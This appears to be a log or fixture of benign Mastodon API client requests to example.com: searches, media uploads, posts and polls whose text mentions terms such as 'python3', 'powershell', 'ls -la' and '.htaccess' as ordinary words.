{"method": "GET", "target": "/api/v2/notifications?grouped_types%5B%5D=favourite&grouped_types%5B%5D=reblog&grouped_types%5B%5D=follow", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/conversations", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/trends/links", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/suggestions", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/directory?local=true&order=active", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/bookmarks", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/favourites", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/blocks", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/mutes", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/domain_blocks", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/endorsements", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/featured_tags", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/featured_tags/suggestions", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/scheduled_statuses", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/tags/python3", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/lookup?acct=bob", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/relationships?id%5B%5D=117589326485981102&id%5B%5D=117589325674471006", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/117589326485981102/statuses?exclude_replies=true&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=river+walk&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=river+walk&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/search?q=river+walk&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=river+walk&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=python3&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=python3&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/search?q=python3&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=python3&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=powershell&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=powershell&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/search?q=powershell&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=powershell&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=ls+-la&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=ls+-la&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/search?q=ls+-la&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=ls+-la&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=.htaccess&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=.htaccess&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/search?q=.htaccess&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=.htaccess&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=alice%40remote.example&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=alice%40remote.example&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/search?q=alice%40remote.example&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=alice%40remote.example&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=%23python3&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=%23python3&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/search?q=%23python3&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=%23python3&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=https%3A%2F%2Fremote.example%2Fusers%2Falice%2Fnotes%2F1&resolve=true", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/lookup?acct=alice%40remote.example", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v2/media", "headers": ["Host: example.com", "Content-Length: 478", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: multipart/form-data; boundary=91bf3ec709c5454aa02bd19ca7fd0fbc"], "body": "--91bf3ec709c5454aa02bd19ca7fd0fbc\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Notes python3.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0010\u0000\u0000\u0000\u0010\b\u0002\u0000\u0000\u0000\ufffd\ufffdh6\u0000\u0000\u0000\u0017IDATx\ufffdc\ufffd\ufffd\ufffd@\u0012\"M\ufffd\ufffd\ufffdQ\rCJ\u0003\u0000\ufffdu\u007f\u0010\u0019i$\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n--91bf3ec709c5454aa02bd19ca7fd0fbc\r\nContent-Disposition: form-data; name=\"description\"\r\n\r\nScreenshot of python3 in a terminal\r\n--91bf3ec709c5454aa02bd19ca7fd0fbc\r\nContent-Disposition: form-data; name=\"focus\"\r\n\r\n0.0,0.0\r\n--91bf3ec709c5454aa02bd19ca7fd0fbc--\r\n"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/media/117589416080454640", "headers": ["Host: example.com", "Content-Length: 40", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "description=A+screenshot+showing+python3"}
|
||||||
|
{"method": "POST", "target": "/api/v2/media", "headers": ["Host: example.com", "Content-Length: 480", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: multipart/form-data; boundary=b51aef01d0a24243aacb5ca58a07a3c9"], "body": "--b51aef01d0a24243aacb5ca58a07a3c9\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Shell ls -la.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0010\u0000\u0000\u0000\u0010\b\u0002\u0000\u0000\u0000\ufffd\ufffdh6\u0000\u0000\u0000\u0017IDATx\ufffdc\ufffd\ufffd\ufffd@\u0012\"M\ufffd\ufffd\ufffdQ\rCJ\u0003\u0000\ufffdu\u007f\u0010\u0019i$\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n--b51aef01d0a24243aacb5ca58a07a3c9\r\nContent-Disposition: form-data; name=\"description\"\r\n\r\nScreenshot of powershell in a terminal\r\n--b51aef01d0a24243aacb5ca58a07a3c9\r\nContent-Disposition: form-data; name=\"focus\"\r\n\r\n0.0,0.0\r\n--b51aef01d0a24243aacb5ca58a07a3c9--\r\n"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/media/117589416087224032", "headers": ["Host: example.com", "Content-Length: 43", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "description=A+screenshot+showing+powershell"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/media/117589416092568321", "headers": ["Host: example.com", "Content-Length: 39", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "description=A+screenshot+showing+ls+-la"}
|
||||||
|
{"method": "POST", "target": "/api/v2/media", "headers": ["Host: example.com", "Content-Length: 484", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: multipart/form-data; boundary=5d3eb955c0434b74bef9478a9c5396b5"], "body": "--5d3eb955c0434b74bef9478a9c5396b5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Example .htaccess.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0010\u0000\u0000\u0000\u0010\b\u0002\u0000\u0000\u0000\ufffd\ufffdh6\u0000\u0000\u0000\u0017IDATx\ufffdc\ufffd\ufffd\ufffd@\u0012\"M\ufffd\ufffd\ufffdQ\rCJ\u0003\u0000\ufffdu\u007f\u0010\u0019i$\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n--5d3eb955c0434b74bef9478a9c5396b5\r\nContent-Disposition: form-data; name=\"description\"\r\n\r\nScreenshot of .htaccess in a terminal\r\n--5d3eb955c0434b74bef9478a9c5396b5\r\nContent-Disposition: form-data; name=\"focus\"\r\n\r\n0.0,0.0\r\n--5d3eb955c0434b74bef9478a9c5396b5--\r\n"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/media/117589416097237149", "headers": ["Host: example.com", "Content-Length: 42", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "description=A+screenshot+showing+.htaccess"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 83", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded", "Idempotency-Key: 2a3fad6fe88f49499c3ec2aabef6ae12"], "body": "status=Today%3A+river+walk+%23python3&visibility=public&language=en&sensitive=false"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 117", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8", "Idempotency-Key: f2b6ecb907c44769a068fd199e3bea4b"], "body": "{\"status\": \"More about river walk\", \"spoiler_text\": \"river walk details\", \"visibility\": \"unlisted\", \"language\": \"en\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 115", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded", "Idempotency-Key: 14f8af228405444e9a6ba7c13daf88be"], "body": "status=Today%3A+python3+%23python3&visibility=public&language=en&sensitive=false&media_ids%5B%5D=117589416080454640"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 111", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8", "Idempotency-Key: cd7a83310465404c89bc54c8330183e1"], "body": "{\"status\": \"More about python3\", \"spoiler_text\": \"python3 details\", \"visibility\": \"unlisted\", \"language\": \"en\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 118", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded", "Idempotency-Key: f35e02f998684f42b36e8aea999f7488"], "body": "status=Today%3A+powershell+%23python3&visibility=public&language=en&sensitive=false&media_ids%5B%5D=117589416087224032"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 117", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8", "Idempotency-Key: c16a4009d56a4aefa24cc368b8ef1385"], "body": "{\"status\": \"More about powershell\", \"spoiler_text\": \"powershell details\", \"visibility\": \"unlisted\", \"language\": \"en\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 114", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded", "Idempotency-Key: 9c5c8eec473d4748a246603ad4461232"], "body": "status=Today%3A+ls+-la+%23python3&visibility=public&language=en&sensitive=false&media_ids%5B%5D=117589416092568321"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 109", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8", "Idempotency-Key: eed10216ad8442bf8eca2b0504c6c5a8"], "body": "{\"status\": \"More about ls -la\", \"spoiler_text\": \"ls -la details\", \"visibility\": \"unlisted\", \"language\": \"en\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 117", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded", "Idempotency-Key: d4c119baa943406787c967f827cfd7e4"], "body": "status=Today%3A+.htaccess+%23python3&visibility=public&language=en&sensitive=false&media_ids%5B%5D=117589416097237149"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 115", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8", "Idempotency-Key: fbe1f4c915b04fa28eacf8cd27e94b18"], "body": "{\"status\": \"More about .htaccess\", \"spoiler_text\": \".htaccess details\", \"visibility\": \"unlisted\", \"language\": \"en\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 228", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "status=Which+do+you+use%3F&poll%5Boptions%5D%5B%5D=python3&poll%5Boptions%5D%5B%5D=powershell&poll%5Boptions%5D%5B%5D=ls+-la&poll%5Boptions%5D%5B%5D=.htaccess&poll%5Bexpires_in%5D=86400&poll%5Bmultiple%5D=false&visibility=public"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 90", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "status=%40bob+python3+or+powershell%3F&in_reply_to_id=117589416132420900&visibility=direct"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 100", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8"], "body": "{\"status\": \"Thoughts on ls -la\", \"poll\": {\"options\": [\"python3\", \"powershell\"], \"expires_in\": 3600}}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 88", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8"], "body": "{\"status\": \"Scheduled post about .htaccess\", \"scheduled_at\": \"2030-01-01T10:00:00.000Z\"}"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/statuses/117589416132420900", "headers": ["Host: example.com", "Content-Length: 114", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8"], "body": "{\"status\": \"Which one do you use? python3, powershell, ls -la or .htaccess\", \"spoiler_text\": \"\", \"language\": \"en\"}"}
|
||||||
|
